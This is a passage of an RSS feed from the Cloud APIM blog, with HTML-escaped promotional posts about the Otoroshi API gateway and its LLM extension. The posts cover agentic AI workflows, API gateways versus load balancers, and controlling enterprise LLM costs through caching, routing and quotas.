&lt;p&gt;🔹 &lt;strong&gt;Integrations&lt;/strong&gt; — HTTP calls, internal functions, business tools, external AIs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🔹 &lt;strong&gt;Rules and guardrails&lt;/strong&gt; — moderation, validation, supervision of actions.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All in a smooth, visual interface, governed like an enterprise architecture.&lt;br&gt;
In other words: &lt;strong&gt;the power of no-code with the rigor of DevOps&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;what-this-makes-possible&quot;&gt;What this makes possible&lt;/h3&gt;
&lt;p&gt;With Otoroshi and its &lt;a href=&quot;https://github.com/cloud-apim/otoroshi-llm-extension&quot;&gt;LLM extension&lt;/a&gt;, &lt;strong&gt;everything becomes orchestrable&lt;/strong&gt;.&lt;br&gt;
Here are a few concrete examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;A customer support agent&lt;/strong&gt; that understands a request, searches the knowledge base, creates a ticket and sends a voice confirmation message.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;An HR assistant&lt;/strong&gt; that analyzes job applications, writes a summary and schedules an interview.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;A marketing orchestrator&lt;/strong&gt; that generates the text, an image and a video for a campaign, while staying true to the brand guidelines.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;An IT supervisor&lt;/strong&gt; that monitors logs, detects an anomaly and automatically alerts the team.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;A digital coach&lt;/strong&gt; that learns from past interactions to offer ever more accurate recommendations.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And all of this without code, from a &lt;strong&gt;unified and secure interface&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;intelligence-under-control&quot;&gt;Intelligence under control&lt;/h3&gt;
&lt;p&gt;What makes this evolution unique is that artificial intelligence doesn’t break out of its frame.&lt;br&gt;
It is &lt;strong&gt;orchestrated, auditable and under control&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Every action, every decision, every interaction is logged and governed through Otoroshi.&lt;br&gt;
Agents never act “in a vacuum”: they operate &lt;strong&gt;within the limits you define&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;That’s the difference between a powerful AI and a reliable AI.&lt;/p&gt;
&lt;h3 id=&quot;a-revolution-in-the-way-we-design-intelligence&quot;&gt;A revolution in the way we design intelligence&lt;/h3&gt;
&lt;p&gt;Otoroshi is no longer just a gateway between systems.&lt;br&gt;
It is now &lt;strong&gt;an orchestrator of intelligences&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Companies can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Create their own AI agents,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Draw their intelligent workflows,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Connect their existing tools and services,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;And drive everything from a visual interface.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It’s a &lt;strong&gt;new way to approach digital transformation&lt;/strong&gt;:&lt;br&gt;
more intuitive, more agile, more intelligent.&lt;/p&gt;
&lt;h3 id=&quot;-in-a-nutshell&quot;&gt;✨ In a nutshell&lt;/h3&gt;
&lt;p&gt;Otoroshi + LLM Extension means:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;🧠 &lt;strong&gt;Customizable AI agents&lt;/strong&gt;, able to act and reason.&lt;br&gt;
🔄 A &lt;strong&gt;visual interface&lt;/strong&gt; to create intelligent workflows without coding.&lt;br&gt;
🌐 &lt;strong&gt;Seamless integration&lt;/strong&gt; with all your tools and services.&lt;br&gt;
🔒 &lt;strong&gt;Complete governance&lt;/strong&gt;: security, auditing, compliance.&lt;br&gt;
🚀 A &lt;strong&gt;platform ready for the future&lt;/strong&gt; of autonomous, collaborative systems.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;📬 &lt;strong&gt;Stay informed&lt;/strong&gt;&lt;br&gt;
Subscribe to our blog to keep up with the latest news, tips and best practices around our solutions.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;-about-cloud-apim&quot;&gt;🏢 About Cloud APIM&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;&lt;strong&gt;Cloud APIM&lt;/strong&gt;&lt;/a&gt; is a provider of next-generation API management solutions. We help companies unlock the full potential of their APIs with &lt;a href=&quot;https://www.cloud-apim.com/otoroshi-managed&quot;&gt;&lt;strong&gt;managed&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;, high-performance, ready-to-use offerings&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Our innovative products include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/otoroshi-managed&quot;&gt;&lt;strong&gt;Otoroshi Managed Instances&lt;/strong&gt;&lt;/a&gt;: Managed Otoroshi instances, configured and ready in seconds&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/serverless&quot;&gt;&lt;strong&gt;Serverless with GitOps&lt;/strong&gt;&lt;/a&gt;: Scalable deployments without managing infrastructure&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/authify&quot;&gt;&lt;strong&gt;Authify&lt;/strong&gt;&lt;/a&gt;: Fast, secure authentication for your APIs&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>en</dc:language><category>Otoroshi</category><category>Otoroshi LLM extension</category><category>Agentic AI</category><category>AI agents</category><category>Workflow</category><category>Workflow automation</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.CuvhbuDg_Z20URxk.jpg" length="0" type="image/jpeg"/></item><item><title>API Gateway vs Load Balancer: What Are the Differences and Which One Is Right for Your Architecture?</title><link>https://blog.cloud-apim.com/api-gateway-vs-load-balancer-which-one-to-choose</link><guid isPermaLink="true">https://blog.cloud-apim.com/api-gateway-vs-load-balancer-which-one-to-choose</guid><description>Learn the differences between an API Gateway and a Load Balancer, what each one is for, and how to choose the right fit for your cloud architecture.</description><pubDate>Tue, 08 Jul 2025 08:20:51 GMT</pubDate><content:encoded>&lt;p&gt;In the world of &lt;strong&gt;modern cloud architecture&lt;/strong&gt;, two terms often come up when it comes to managing application traffic: &lt;strong&gt;API Gateway&lt;/strong&gt; and &lt;strong&gt;Load Balancer&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Although they may seem similar, their roles are quite distinct.&lt;/p&gt;
&lt;p&gt;Knowing the difference between these two components is essential to building a high-performance, secure and scalable infrastructure.&lt;/p&gt;
&lt;p&gt;In this article, we will:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Define what a Load Balancer is&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Explain the role of an API Gateway&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Compare their use cases&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;And finally, help you choose the right solution for your needs&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;what-is-a-load-balancer&quot;&gt;What is a Load Balancer?&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 1536px) 1536px, 100vw&quot; width=&quot;1536&quot; height=&quot;1024&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-a386ab.BQF3nZFq_di5RS.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-a386ab.BQF3nZFq_Z19ytNG.webp 640w, https://blog.cloud-apim.com/_astro/01-a386ab.BQF3nZFq_Z2gp19j.webp 750w, https://blog.cloud-apim.com/_astro/01-a386ab.BQF3nZFq_1q0aqk.webp 828w, https://blog.cloud-apim.com/_astro/01-a386ab.BQF3nZFq_dnniC.webp 1080w, https://blog.cloud-apim.com/_astro/01-a386ab.BQF3nZFq_2paGmB.webp 1280w, https://blog.cloud-apim.com/_astro/01-a386ab.BQF3nZFq_di5RS.webp 1536w&quot;&gt;&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;Load Balancer&lt;/strong&gt; (or &lt;strong&gt;traffic distributor&lt;/strong&gt;) is a network component that automatically distributes incoming traffic across several servers or instances of the same service.&lt;/p&gt;
&lt;p&gt;It mainly operates at layer 4 (transport) or layer 7 (application) of the OSI model.&lt;/p&gt;
&lt;h3 id=&quot;main-objectives&quot;&gt;Main objectives:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Spreading traffic to avoid overloading a single server&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;High availability and fault tolerance&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Better overall performance&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;example-use-case&quot;&gt;Example use case:&lt;/h3&gt;
&lt;p&gt;A high-traffic website can use a Load Balancer to spread HTTP requests across several web servers (e.g. Nginx, Apache).&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;what-is-an-api-gateway&quot;&gt;What is an API Gateway?&lt;/h2&gt;
&lt;p&gt;An &lt;strong&gt;API Gateway&lt;/strong&gt; is much more than a traffic distributor.&lt;/p&gt;
&lt;p&gt;It is designed to handle calls to &lt;strong&gt;APIs&lt;/strong&gt; (application programming interfaces), ensuring their &lt;strong&gt;security, governance and orchestration&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;It sits between clients (applications, mobile apps, partners…) and your backend services (microservices, databases, etc.).&lt;/p&gt;
&lt;h3 id=&quot;key-features-of-an-api-gateway&quot;&gt;Key features of an API Gateway:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Authentication &amp;#x26; Authorization&lt;/strong&gt; (OAuth2, JWT)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Rate Limiting&lt;/strong&gt; (throttling)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Request and response transformation&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Smart routing&lt;/strong&gt; (based on versions, headers, payload…)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Monitoring &amp;#x26; Logs&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;API lifecycle management&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;example-use-case-1&quot;&gt;Example use case:&lt;/h3&gt;
&lt;p&gt;A company exposes its business services (inventory, orders, payments) through APIs.&lt;/p&gt;
&lt;p&gt;The API Gateway centralizes all calls, enforces security rules, traces calls and enables global governance.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;load-balancer-vs-api-gateway-the-comparison&quot;&gt;Load Balancer vs API Gateway: the comparison&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Load Balancer&lt;/th&gt;
&lt;th&gt;API Gateway&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Traffic distribution&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;td&gt;✅ Yes (with application logic)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication&lt;/td&gt;
&lt;td&gt;❌ No&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API security&lt;/td&gt;
&lt;td&gt;❌ No&lt;/td&gt;
&lt;td&gt;✅ Yes (WAF, TLS, etc.)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JSON/XML transformation&lt;/td&gt;
&lt;td&gt;❌ No&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rate limiting&lt;/td&gt;
&lt;td&gt;❌ No&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API call monitoring&lt;/td&gt;
&lt;td&gt;❌ Basic&lt;/td&gt;
&lt;td&gt;✅ Advanced&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API governance&lt;/td&gt;
&lt;td&gt;❌ No&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id=&quot;which-solution-should-you-choose-for-your-infrastructure&quot;&gt;Which solution should you choose for your infrastructure?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;If your only goal is to &lt;strong&gt;spread traffic across several servers&lt;/strong&gt; to guarantee availability, a &lt;strong&gt;Load Balancer&lt;/strong&gt; is enough.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;On the other hand, if you want to &lt;strong&gt;expose, secure, version and manage APIs&lt;/strong&gt; for internal or external applications, an &lt;strong&gt;API Gateway is a must&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In reality, these two tools are &lt;strong&gt;complementary&lt;/strong&gt;. A modern architecture often uses &lt;strong&gt;a Load Balancer at the front&lt;/strong&gt;, which directs HTTP traffic to an &lt;strong&gt;API Gateway&lt;/strong&gt;, which in turn manages the APIs and routes requests to the right services.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;why-choose-a-cloud-api-management-solution&quot;&gt;Why choose a cloud API management solution?&lt;/h2&gt;
&lt;p&gt;APIs are now at the heart of digital transformation. For businesses, &lt;strong&gt;outsourcing API management to a cloud platform&lt;/strong&gt; makes it possible to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Get to production faster&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Benefit from secure, scalable hosting&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Track performance and usage through advanced dashboards&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Easily integrate authentication tools (SSO, tokens, etc.)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;cloud-apim-the-french-cloud-api-management-platform&quot;&gt;Cloud APIM: the French cloud API management platform&lt;/h2&gt;
&lt;p&gt;At &lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt;, we help companies &lt;strong&gt;expose, secure and monitor their APIs&lt;/strong&gt; with a complete &lt;strong&gt;API Management solution, delivered as SaaS or in a private cloud&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Our strengths:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Hosting that is &lt;strong&gt;sovereign, in France&lt;/strong&gt; 🇫🇷&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Customizable developer portal&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Advanced security (TLS, OAuth2, WAF)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enterprise support &amp;#x26; technical guidance&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;in-a-nutshell&quot;&gt;In a nutshell:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The &lt;strong&gt;Load Balancer&lt;/strong&gt; distributes traffic,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The &lt;strong&gt;API Gateway&lt;/strong&gt; governs, secures and traces API calls&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The two can (and often should) be used together.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;➡️ Ready to structure your API strategy? Try our platform now at &lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;cloud-apim.com&lt;/a&gt; or contact our experts for a demo.&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>en</dc:language><category>API gateway</category><category>Load balancer</category><category>Otoroshi</category><category>Reverse proxy</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.CjSJS7l9_Tiq6n.jpg" length="0" type="image/jpeg"/></item><item><title>Controlling Generative AI Costs in the Enterprise with Otoroshi LLM Extension</title><link>https://blog.cloud-apim.com/controlling-generative-ai-costs-in-the-enterprise</link><guid isPermaLink="true">https://blog.cloud-apim.com/controlling-generative-ai-costs-in-the-enterprise</guid><description>Keep enterprise LLM costs under control with Otoroshi LLM Extension: caching, routing, governance and complete budget tracking.</description><pubDate>Thu, 03 Jul 2025 14:52:56 GMT</pubDate><content:encoded>&lt;p&gt;Generative artificial intelligence (generative AI) is revolutionizing the enterprise: smart assistants, automation, content generation… use cases are multiplying fast.&lt;/p&gt;
&lt;p&gt;But this growing adoption comes with a major challenge: &lt;strong&gt;managing the usage costs of large language models (LLMs)&lt;/strong&gt; such as &lt;a href=&quot;https://chatgpt.com&quot;&gt;ChatGPT&lt;/a&gt;, &lt;a href=&quot;https://claude.ai&quot;&gt;Claude&lt;/a&gt; or &lt;a href=&quot;https://mistral.ai/fr&quot;&gt;Mistral&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Many companies end up facing a &lt;strong&gt;bill that keeps climbing&lt;/strong&gt; with no real control over it, because of usage that is intensive, poorly governed or scattered across teams.&lt;/p&gt;
&lt;p&gt;That’s exactly the need we built &lt;a href=&quot;https://cloud-apim.github.io/otoroshi-llm-extension/&quot;&gt;&lt;strong&gt;Otoroshi LLM Extension&lt;/strong&gt;&lt;/a&gt; for: a solution to &lt;strong&gt;take back control of AI costs in the enterprise&lt;/strong&gt;, without sacrificing innovation.&lt;/p&gt;
&lt;h2 id=&quot;why-monitor-and-optimize-llm-usage-in-the-enterprise&quot;&gt;Why monitor and optimize LLM usage in the enterprise?&lt;/h2&gt;
&lt;p&gt;Here’s what we see in the field:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Monthly LLM costs skyrocket as usage grows (especially with GPT-4).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A &lt;strong&gt;lack of visibility&lt;/strong&gt; into who uses what, how, and at what price.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;No &lt;strong&gt;quotas or usage rules&lt;/strong&gt; for employees.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;No distinction between simple tasks (which could use a free or local model) and complex ones.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 The result: a &lt;strong&gt;loss of budget control&lt;/strong&gt;, a &lt;strong&gt;risk of overconsumption&lt;/strong&gt; and &lt;strong&gt;unjustified spending&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;otoroshi-llm-extension-the-solution-to-control-ai-costs&quot;&gt;Otoroshi LLM Extension: the solution to control AI costs&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Otoroshi LLM Extension&lt;/strong&gt; is a strategic layer that acts as &lt;strong&gt;a single entry point for all AI usage across your company&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;It lets you &lt;strong&gt;monitor, secure and govern LLM usage&lt;/strong&gt;, while &lt;strong&gt;significantly reducing costs&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;automatically-reduce-llm-calls-with-smart-caching&quot;&gt;Automatically reduce LLM calls with &lt;strong&gt;smart caching&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Many requests are repetitive (same question, same context).&lt;/p&gt;
&lt;p&gt;Rather than paying again every time, &lt;a href=&quot;https://cloud-apim.github.io/otoroshi-llm-extension/&quot;&gt;Otoroshi LLM Extension&lt;/a&gt; &lt;strong&gt;reuses previous responses&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Configurable prompt-based caching&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Responses stored temporarily to avoid needless billed calls&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ideal for internal assistants or automated FAQs&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;🎯 &lt;strong&gt;Impact: up to 50% fewer billed requests&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;smart-routing-to-the-right-model-at-the-right-time&quot;&gt;&lt;strong&gt;Smart routing&lt;/strong&gt; to the right model at the right time&lt;/h3&gt;
&lt;p&gt;Not every use case needs GPT-4.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;For simple tasks: &lt;strong&gt;open source models hosted in-house&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For complex cases: fallback to high-performance models (GPT, Claude)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ability to create &lt;strong&gt;custom rules&lt;/strong&gt; based on the type of request or the user&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;🎯 &lt;strong&gt;Impact: optimized usage, a lighter bill&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;access-quota-and-budget-management-per-team-or-department&quot;&gt;&lt;strong&gt;Access, quota and budget management&lt;/strong&gt; per team or department&lt;/h3&gt;
&lt;p&gt;Control who has access to AI and how many requests are allowed, and keep track of budgets.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Set &lt;strong&gt;consumption caps&lt;/strong&gt; (number of requests or cost)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Assign API keys per user or service&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enforce AI governance policies&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;🎯 &lt;strong&gt;Impact: no more runaway consumption, usage aligned with your strategy&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;clear-dashboards-for-better-governance&quot;&gt;&lt;strong&gt;Clear dashboards&lt;/strong&gt; for better governance&lt;/h3&gt;
&lt;p&gt;You can only optimize what you measure.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;LLM usage broken down by department, user or project&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Real-time cost estimates (per token or per model)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Export and reporting for IT leadership and procurement teams&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;🎯 &lt;strong&gt;Impact: reliable budget management that supports decision-making&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;automatic-prompt-rewriting-to-reduce-token-usage&quot;&gt;&lt;strong&gt;Automatic prompt rewriting&lt;/strong&gt; to reduce token usage&lt;/h3&gt;
&lt;p&gt;Some prompts are needlessly long or poorly worded.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.otoroshi.io/&quot;&gt;Otoroshi&lt;/a&gt; can &lt;strong&gt;simplify or optimize them automatically&lt;/strong&gt; before they are sent.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Removal of redundancies&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Semantic optimization to limit tokens&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Identical results, lower cost&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;🎯 &lt;strong&gt;Impact: a direct reduction in billed token consumption&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;built-in-security-and-compliance&quot;&gt;Built-in security and compliance&lt;/h2&gt;
&lt;p&gt;By centralizing all AI calls:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;You &lt;strong&gt;block unauthorized usage&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You prevent sensitive data leaks&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You strengthen GDPR compliance and internal security&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;innovation-under-control-budget-in-check&quot;&gt;Innovation under control, budget in check&lt;/h2&gt;
&lt;p&gt;Adopting generative AI shouldn’t mean &lt;strong&gt;losing control of your budget&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;With &lt;strong&gt;Otoroshi LLM Extension&lt;/strong&gt;, you give your teams a &lt;strong&gt;secure, intelligent framework for using LLMs&lt;/strong&gt;, while &lt;strong&gt;maximizing your return on investment&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id=&quot;-ready-to-take-back-control-of-your-ai-costs&quot;&gt;🚀 Ready to take back control of your AI costs?&lt;/h2&gt;
&lt;p&gt;🔗 &lt;a href=&quot;https://cloud-apim.github.io/otoroshi-llm-extension/docs/overview&quot;&gt;Explore the official documentation&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;📬 &lt;strong&gt;Stay informed&lt;/strong&gt;&lt;br&gt;
Subscribe to our blog to keep up with the latest news, tips and best practices around our solutions.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;-about-cloud-apim&quot;&gt;🏢 About Cloud APIM&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;&lt;strong&gt;Cloud APIM&lt;/strong&gt;&lt;/a&gt; is a provider of next-generation API management solutions. We help companies unlock the full potential of their APIs with &lt;a href=&quot;https://www.cloud-apim.com/otoroshi-managed&quot;&gt;&lt;strong&gt;managed&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;, high-performance, ready-to-use offerings&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Our innovative products include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/otoroshi-managed&quot;&gt;&lt;strong&gt;Otoroshi Managed Instances&lt;/strong&gt;&lt;/a&gt;: Managed Otoroshi instances, configured and ready in seconds&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/serverless&quot;&gt;&lt;strong&gt;Serverless with GitOps&lt;/strong&gt;&lt;/a&gt;: Scalable deployments without managing infrastructure&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/authify&quot;&gt;&lt;strong&gt;Authify&lt;/strong&gt;&lt;/a&gt;: Fast, secure authentication for your APIs&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>en</dc:language><category>Otoroshi</category><category>LLM</category><category>Otoroshi LLM extension</category><category>Cloud APIM</category><category>API management</category><category>AI</category><category>AI tools</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.DhVclIDj_ZJa9Tq.jpg" length="0" type="image/jpeg"/></item><item><title>Introducing the Otoroshi LLM Extension by Cloud APIM</title><link>https://blog.cloud-apim.com/introducing-the-otoroshi-llm-extension-by-cloud-apim</link><guid isPermaLink="true">https://blog.cloud-apim.com/introducing-the-otoroshi-llm-extension-by-cloud-apim</guid><description>Otoroshi LLM by Cloud APIM: Connect and control your language models (LLM) like OpenAI, Claude, Mistral, Ollama or Hugging 